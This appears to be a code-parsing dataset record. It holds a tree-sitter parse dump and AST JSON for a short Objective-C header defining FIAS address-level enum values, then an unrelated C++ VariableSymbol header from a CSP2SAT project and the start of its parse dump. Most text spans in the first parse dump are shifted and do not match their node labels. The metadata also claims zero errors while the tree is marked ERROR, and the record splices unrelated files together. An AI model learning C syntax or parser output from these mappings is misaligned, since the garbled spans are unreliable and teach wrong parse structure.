(translation_unit) "//\n// Created by Андрей on 17.11.2017.\n// Copyright © 2017 Improve Digital. All rights reserved.\n//\n\n#ifndef IDFiasLevel_h\n#define IDFiasLevel_h\n\ntypedef NS_ENUM(NSInteger, IDFIASLevel) {\n IDFIASLevelCountry = 0,\n IDFIASLevelRegion = 1,\n IDFIASLevelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#endif /* IDFiasLevel_h */\n" (comment) "//" (comment) "// Created by Андрей on 17.11.2017.\n// C" (comment) "pyright © 2017 Improve Digital. All rights reserved.\n//\n\n#i" (comment) "nd" (ERROR) " IDFiasLevel_h\n#define IDFiasLevel_h\n\ntypedef NS_ENUM(NSInteger, IDFIASLevel) {\n IDFIASLevelCountry = 0,\n IDFIASLevelRegion = 1,\n IDFIASLevelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#endif /* IDFiasLevel_h */\n" (#ifndef) " IDFias" (identifier) "evel_h\n#defin" (preproc_def) " IDFiasLevel_h\n\ntypede" (#define) " IDFias" (identifier) "evel_h\n\ntyped" (ERROR) " NS_ENUM(NSInteger, IDFIASLevel) {\n " (typedef) " NS_ENU" (macro_type_specifier) "(NSInteger, IDFIASLevel) {\n " (identifier) "(NSInte" (() "g" (ERROR) "er, IDFIAS" (type_descriptor) "er, IDFIA" (type_identifier) "er, IDFIA" (,) "S" (type_descriptor) "evel) {\n " (type_identifier) "evel) {\n " ()) " " ({) "D" (expression_statement) "evelCountry = 0,\n IDFIASLevelRegion = 1,\n IDFIASLevelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#endi" (comma_expression) "evelCountry = 0,\n IDFIASLevelRegion = 1,\n IDFIASLevelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelCountry = 0,\n I" (identifier) "evelCountry = 0,\n " (=) " " (number_literal) "I" (,) "D" (comma_expression) "evelRegion = 1,\n IDFIASLevelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelRegion = 1,\n I" (identifier) "evelRegion = 1,\n " (=) " " (number_literal) "I" (,) "D" (comma_expression) "evelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelArea = 3,\n I" (identifier) "evelArea = 3,\n " (=) " " (number_literal) "I" (,) "D" (comma_expression) "evelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelCity = 4,\n I" (identifier) "evelCity = 4,\n " (=) " " (number_literal) "I" (,) "D" (comma_expression) "evelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelCityDistrict = 5,\n I" (identifier) "evelCityDistrict = 5,\n " (=) " " (number_literal) "I" (,) "D" (comma_expression) "evelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelSettlement = 6,\n I" (identifier) "evelSettlement = 6,\n " (=) " " (number_literal) "I" (,) "D" (comma_expression) "evelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelStreet = 7,\n I" (identifier) "evelStreet = 7,\n " (=) " " (number_literal) "I" (,) "D" (comma_expression) "evelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelHouse = 8,\n I" (identifier) "evelHouse = 8,\n " (=) " " (number_literal) "I" (,) "D" (comma_expression) "evelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelPlanStructure = 65,\n I" (identifier) "evelPlanStructure = 65,\n" (=) " " (number_literal) " I" (,) "D" (comma_expression) "evelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelAdditionalTerritory = 90,\n I" (identifier) "evelAdditionalTerritory = 90,\n" (=) " " (number_literal) " I" (,) "D" (comma_expression) "evelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#" (assignment_expression) "evelAdditionalTerritoryStreet = 91,\n I" (identifier) "evelAdditionalTerritoryStreet = 91,\n" (=) " " (number_literal) " I" (,) "D" (assignment_expression) "evelForeignOrEmpty = -1,\n};\n\n#" (identifier) "evelForeignOrEmpty = -1,\n" (=) ";" (number_literal) "\n#" (ERROR) "end" (,) "e" (}) "d" (;) "i" (preproc_call) "/* IDFiasLevel_h */\n" (preproc_directive) "/* IDF" (comment) "asLevel_h */\n"
102
4
{"language": "c", "success": true, "metadata": {"lines": 21, "avg_line_length": 27.52, "nodes": 75, "errors": 0, "source_hash": "a54de956494fa02dcf5778cd0f67c0a676efbd650828bb396933bbd4001573c4", "categorized_nodes": 55}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "ERROR", "text": " IDFiasLevel_h\n#define IDFiasLevel_h\n\ntypedef NS_ENUM(NSInteger, IDFIASLevel) {\n IDFIASLevelCountry = 0,\n IDFIASLevelRegion = 1,\n IDFIASLevelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#endif /* IDFiasLevel_h */\n", "parent": null, "children": [1, 2, 3, 6, 73], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 24, "column": 0}}, {"id": 1, "type": "#ifndef", "text": " IDFias", "parent": 0, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 2, "type": "identifier", "text": "evel_h\n#defin", "parent": 0, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 21}}, {"id": 3, "type": "preproc_def", "text": " IDFiasLevel_h\n\ntypede", "parent": 0, "children": [4, 5], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 4, "type": "#define", "text": " IDFias", "parent": 3, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 7}}, {"id": 5, "type": "identifier", "text": "evel_h\n\ntyped", "parent": 3, "children": [], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 21}}, {"id": 6, "type": "ERROR", "text": " NS_ENUM(NSInteger, IDFIASLevel) {\n ", "parent": 0, "children": [7, 8], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 39}}, {"id": 7, "type": "typedef", "text": " NS_ENU", "parent": 6, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 8, "type": "macro_type_specifier", "text": "(NSInteger, IDFIASLevel) {\n ", "parent": 6, "children": [9, 10, 13], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 39}}, {"id": 9, "type": "identifier", "text": "(NSInte", "parent": 8, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 15}}, {"id": 10, "type": "ERROR", "text": "er, IDFIAS", "parent": 8, "children": [11], "start_point": {"row": 8, "column": 16}, "end_point": {"row": 8, "column": 26}}, {"id": 11, "type": "type_descriptor", "text": "er, IDFIA", "parent": 10, "children": [12], "start_point": {"row": 8, "column": 16}, "end_point": {"row": 8, "column": 25}}, {"id": 12, "type": "type_identifier", "text": "er, IDFIA", "parent": 11, "children": [], "start_point": {"row": 8, "column": 16}, "end_point": {"row": 8, "column": 25}}, {"id": 13, "type": "type_descriptor", "text": "evel) {\n ", "parent": 8, "children": [14], "start_point": {"row": 8, "column": 27}, "end_point": {"row": 8, "column": 38}}, {"id": 14, "type": "type_identifier", "text": "evel) {\n ", "parent": 13, "children": [], "start_point": {"row": 8, "column": 27}, "end_point": {"row": 8, "column": 38}}, {"id": 15, "type": "comma_expression", "text": "evelCountry = 0,\n IDFIASLevelRegion = 1,\n IDFIASLevelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 0, "children": [16, 20], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 16, "type": "assignment_expression", "text": "evelCountry = 0,\n I", "parent": 15, "children": [17, 18, 19], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 26}}, {"id": 17, "type": "identifier", "text": "evelCountry = 0,\n ", "parent": 16, "children": [], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 22}}, {"id": 18, "type": "=", "text": " ", "parent": 16, "children": [], "start_point": {"row": 9, "column": 23}, "end_point": {"row": 9, "column": 24}}, {"id": 19, "type": "number_literal", "text": "I", "parent": 16, "children": [], "start_point": {"row": 9, "column": 25}, "end_point": {"row": 9, "column": 26}}, {"id": 20, "type": "comma_expression", "text": "evelRegion = 1,\n IDFIASLevelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 15, "children": [21, 25], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 21, "type": "assignment_expression", "text": "evelRegion = 1,\n I", "parent": 20, "children": [22, 23, 24], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 25}}, {"id": 22, "type": "identifier", "text": "evelRegion = 1,\n ", "parent": 21, "children": [], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 21}}, {"id": 23, "type": "=", "text": " ", "parent": 21, "children": [], "start_point": {"row": 10, "column": 22}, "end_point": {"row": 10, "column": 23}}, {"id": 24, "type": "number_literal", "text": "I", "parent": 21, "children": [], "start_point": {"row": 10, "column": 24}, "end_point": {"row": 10, "column": 25}}, {"id": 25, "type": "comma_expression", "text": "evelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 20, "children": [26, 30], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 26, "type": "assignment_expression", "text": "evelArea = 3,\n I", "parent": 25, "children": [27, 28, 29], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 23}}, {"id": 27, "type": "identifier", "text": "evelArea = 3,\n ", "parent": 26, "children": [], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 19}}, {"id": 28, "type": "=", "text": " ", "parent": 26, "children": [], "start_point": {"row": 11, "column": 20}, "end_point": {"row": 11, "column": 21}}, {"id": 29, "type": "number_literal", "text": "I", "parent": 26, "children": [], "start_point": {"row": 11, "column": 22}, "end_point": {"row": 11, "column": 23}}, {"id": 30, "type": "comma_expression", "text": "evelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 25, "children": [31, 35], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 31, "type": "assignment_expression", "text": "evelCity = 4,\n I", "parent": 30, "children": [32, 33, 34], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 23}}, {"id": 32, "type": "identifier", "text": "evelCity = 4,\n ", "parent": 31, "children": [], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 19}}, {"id": 33, "type": "=", "text": " ", "parent": 31, "children": [], "start_point": {"row": 12, "column": 20}, "end_point": {"row": 12, "column": 21}}, {"id": 34, "type": "number_literal", "text": "I", "parent": 31, "children": [], "start_point": {"row": 12, "column": 22}, "end_point": {"row": 12, "column": 23}}, {"id": 35, "type": "comma_expression", "text": "evelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 30, "children": [36, 40], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 36, "type": "assignment_expression", "text": "evelCityDistrict = 5,\n I", "parent": 35, "children": [37, 38, 39], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 31}}, {"id": 37, "type": "identifier", "text": "evelCityDistrict = 5,\n ", "parent": 36, "children": [], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 27}}, {"id": 38, "type": "=", "text": " ", "parent": 36, "children": [], "start_point": {"row": 13, "column": 28}, "end_point": {"row": 13, "column": 29}}, {"id": 39, "type": "number_literal", "text": "I", "parent": 36, "children": [], "start_point": {"row": 13, "column": 30}, "end_point": {"row": 13, "column": 31}}, {"id": 40, "type": "comma_expression", "text": "evelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 35, "children": [41, 45], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 41, "type": "assignment_expression", "text": "evelSettlement = 6,\n I", "parent": 40, "children": [42, 43, 44], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 29}}, {"id": 42, "type": "identifier", "text": "evelSettlement = 6,\n ", "parent": 41, "children": [], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 25}}, {"id": 43, "type": "=", "text": " ", "parent": 41, "children": [], "start_point": {"row": 14, "column": 26}, "end_point": {"row": 14, "column": 27}}, {"id": 44, "type": "number_literal", "text": "I", "parent": 41, "children": [], "start_point": {"row": 14, "column": 28}, "end_point": {"row": 14, "column": 29}}, {"id": 45, "type": "comma_expression", "text": "evelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 40, "children": [46, 50], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 46, "type": "assignment_expression", "text": "evelStreet = 7,\n I", "parent": 45, "children": [47, 48, 49], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 15, "column": 25}}, {"id": 47, "type": "identifier", "text": "evelStreet = 7,\n ", "parent": 46, "children": [], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 15, "column": 21}}, {"id": 48, "type": "=", "text": " ", "parent": 46, "children": [], "start_point": {"row": 15, "column": 22}, "end_point": {"row": 15, "column": 23}}, {"id": 49, "type": "number_literal", "text": "I", "parent": 46, "children": [], "start_point": {"row": 15, "column": 24}, "end_point": {"row": 15, "column": 25}}, {"id": 50, "type": "comma_expression", "text": "evelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 45, "children": [51, 55], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 51, "type": "assignment_expression", "text": "evelHouse = 8,\n I", "parent": 50, "children": [52, 53, 54], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 16, "column": 24}}, {"id": 52, "type": "identifier", "text": "evelHouse = 8,\n ", "parent": 51, "children": [], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 16, "column": 20}}, {"id": 53, "type": "=", "text": " ", "parent": 51, "children": [], "start_point": {"row": 16, "column": 21}, "end_point": {"row": 16, "column": 22}}, {"id": 54, "type": "number_literal", "text": "I", "parent": 51, "children": [], "start_point": {"row": 16, "column": 23}, "end_point": {"row": 16, "column": 24}}, {"id": 55, "type": "comma_expression", "text": "evelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 50, "children": [56, 60], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 56, "type": "assignment_expression", "text": "evelPlanStructure = 65,\n I", "parent": 55, "children": [57, 58, 59], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 33}}, {"id": 57, "type": "identifier", "text": "evelPlanStructure = 65,\n", "parent": 56, "children": [], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 28}}, {"id": 58, "type": "=", "text": " ", "parent": 56, "children": [], "start_point": {"row": 17, "column": 29}, "end_point": {"row": 17, "column": 30}}, {"id": 59, "type": "number_literal", "text": " I", "parent": 56, "children": [], "start_point": {"row": 17, "column": 31}, "end_point": {"row": 17, "column": 33}}, {"id": 60, "type": "comma_expression", "text": "evelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 55, "children": [61, 65], "start_point": {"row": 18, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 61, "type": "assignment_expression", "text": "evelAdditionalTerritory = 90,\n I", "parent": 60, "children": [62, 63, 64], "start_point": {"row": 18, "column": 4}, "end_point": {"row": 18, "column": 39}}, {"id": 62, "type": "identifier", "text": "evelAdditionalTerritory = 90,\n", "parent": 61, "children": [], "start_point": {"row": 18, "column": 4}, "end_point": {"row": 18, "column": 34}}, {"id": 63, "type": "=", "text": " ", "parent": 61, "children": [], "start_point": {"row": 18, "column": 35}, "end_point": {"row": 18, "column": 36}}, {"id": 64, "type": "number_literal", "text": " I", "parent": 61, "children": [], "start_point": {"row": 18, "column": 37}, "end_point": {"row": 18, "column": 39}}, {"id": 65, "type": "comma_expression", "text": "evelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#", "parent": 60, "children": [66, 70], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 66, "type": "assignment_expression", "text": "evelAdditionalTerritoryStreet = 91,\n I", "parent": 65, "children": [67, 68, 69], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 45}}, {"id": 67, "type": "identifier", "text": "evelAdditionalTerritoryStreet = 91,\n", "parent": 66, "children": [], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 40}}, {"id": 68, "type": "=", "text": " ", "parent": 66, "children": [], "start_point": {"row": 19, "column": 41}, "end_point": {"row": 19, "column": 42}}, {"id": 69, "type": "number_literal", "text": " I", "parent": 66, "children": [], "start_point": {"row": 19, "column": 43}, "end_point": {"row": 19, "column": 45}}, {"id": 70, "type": "assignment_expression", "text": "evelForeignOrEmpty = -1,\n};\n\n#", "parent": 65, "children": [71, 72], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 34}}, {"id": 71, "type": "identifier", "text": "evelForeignOrEmpty = -1,\n", "parent": 70, "children": [], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 29}}, {"id": 72, "type": "number_literal", "text": "\n#", "parent": 70, "children": [], "start_point": {"row": 20, "column": 32}, "end_point": {"row": 20, "column": 34}}, {"id": 73, "type": "preproc_call", "text": "/* IDFiasLevel_h */\n", "parent": 0, "children": [74], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 24, "column": 0}}, {"id": 74, "type": "preproc_directive", "text": "/* IDF", "parent": 73, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 6}}]}, "node_categories": {"declarations": {"functions": [], "variables": [], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65], "assignments": [16, 21, 26, 31, 36, 41, 46, 51, 56, 61, 66, 70], "loops": [], "conditionals": [1, 2, 5, 8, 9, 12, 14, 17, 22, 27, 32, 37, 42, 47, 52, 57, 62, 67, 71], "returns": [], "exceptions": []}, "expressions": {"calls": [73], "literals": [19, 24, 29, 34, 39, 44, 49, 54, 59, 64, 69, 72], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// Created by \u0410\u043d\u0434\u0440\u0435\u0439 on 17.11.2017.\n// Copyright \u00a9 2017 Improve Digital. All rights reserved.\n//\n\n#ifndef IDFiasLevel_h\n#define IDFiasLevel_h\n\ntypedef NS_ENUM(NSInteger, IDFIASLevel) {\n IDFIASLevelCountry = 0,\n IDFIASLevelRegion = 1,\n IDFIASLevelArea = 3,\n IDFIASLevelCity = 4,\n IDFIASLevelCityDistrict = 5,\n IDFIASLevelSettlement = 6,\n IDFIASLevelStreet = 7,\n IDFIASLevelHouse = 8,\n IDFIASLevelPlanStructure = 65,\n IDFIASLevelAdditionalTerritory = 90,\n IDFIASLevelAdditionalTerritoryStreet = 91,\n IDFIASLevelForeignOrEmpty = -1,\n};\n\n#endif /* IDFiasLevel_h */\n"}
81,130
c
// // Created by <NAME> on 19/03/2020. // #ifndef CSP2SAT_VARIABLESYMBOL_H #define CSP2SAT_VARIABLESYMBOL_H #include "ValueSymbol.h" class VariableSymbol: public ValueSymbol { public: VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool) { if(!SymbolTable::entityDefinitionBlock) var = f->newBoolVar(); } VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) { var = lit; } bool isAssignable() override { return false; } literal getVar() { return var; } bool getModelValue() const { return modelValue; } void setModelValue(bool modelValue) { VariableSymbol::modelValue = modelValue; } private: literal var; bool modelValue; }; #endif //CSP2SAT_VARIABLESYMBOL_H
23.46
35
(translation_unit) "//\n// Created by <NAME> on 19/03/2020.\n//\n\n#ifndef CSP2SAT_VARIABLESYMBOL_H\n#define CSP2SAT_VARIABLESYMBOL_H\n\n#include "ValueSymbol.h"\n\n\nclass VariableSymbol: public ValueSymbol {\npublic:\n VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool) {\n if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();\n }\n\n VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) {\n var = lit;\n }\n\n bool isAssignable() override {\n return false;\n }\n\n literal getVar() {\n return var;\n }\n\n bool getModelValue() const {\n return modelValue;\n }\n\n void setModelValue(bool modelValue) {\n VariableSymbol::modelValue = modelValue;\n }\n\n\nprivate:\n literal var;\n bool modelValue;\n};\n\n\n#endif //CSP2SAT_VARIABLESYMBOL_H\n" (comment) "//" (comment) "// Created by <NAME> on 19/03/2020." (comment) "//" (preproc_ifdef) "#ifndef CSP2SAT_VARIABLESYMBOL_H\n#define CSP2SAT_VARIABLESYMBOL_H\n\n#include "ValueSymbol.h"\n\n\nclass VariableSymbol: public ValueSymbol {\npublic:\n VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool) {\n if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();\n }\n\n VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) {\n var = lit;\n }\n\n bool isAssignable() override {\n return false;\n }\n\n literal getVar() {\n return var;\n }\n\n bool getModelValue() const {\n return modelValue;\n }\n\n void setModelValue(bool modelValue) {\n VariableSymbol::modelValue = modelValue;\n }\n\n\nprivate:\n literal var;\n bool modelValue;\n};\n\n\n#endif" (#ifndef) "#ifndef" (identifier) "CSP2SAT_VARIABLESYMBOL_H" (preproc_def) "#define CSP2SAT_VARIABLESYMBOL_H\n" (#define) "#define" (identifier) "CSP2SAT_VARIABLESYMBOL_H" (preproc_include) "#include "ValueSymbol.h"\n" (#include) "#include" (string_literal) ""ValueSymbol.h"" (") """ (string_content) "ValueSymbol.h" (") """ (function_definition) "class VariableSymbol: public ValueSymbol {\npublic:\n VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool) {\n if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();\n }\n\n VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) {\n var = lit;\n }" (type_identifier) "class" (identifier) "VariableSymbol" (ERROR) ": public ValueSymbol" (:) ":" (identifier) "public" (identifier) "ValueSymbol" (compound_statement) "{\npublic:\n VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool) {\n if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();\n }\n\n VariableSymbol(const string &name, literal lit) : ValueSymbol(name, SymbolTable::_varbool) {\n var = lit;\n }" ({) "{" (labeled_statement) "public:\n VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool) {\n if(!SymbolTable::entityDefinitionBlock)\n var = f->newBoolVar();\n }" (statement_identifier) "public" (:) ":" (ERROR) "VariableSymbol(const string &name, SMTFormula *f) : ValueSymbol(name, SymbolTable::_varbool)" (comma_expression) "VariableSymbol(const string &name, SMTFormula *f" (binary_expression) "VariableSymbol(const string &name" (identifier) "VariableSymbol" (ERROR) "(const string" (() "(" (type_descriptor) "const string" (type_qualifier) "const" (const) "const" (type_identifier) "string" (&) "&" (identifier) "name" (,) "," (binary_expression) "SMTFormula *f" (identifier) "SMTFormula" (*) "*" (identifier) "f" ()) ")" (:) ":" (call_expression) "ValueSymbol(name, SymbolTable::_varbool)" (identifier) "ValueSymbol" (argument_list) "(name, SymbolTable::_varbool)" (() "(" (identifier) "name" (,) "," (identifier) 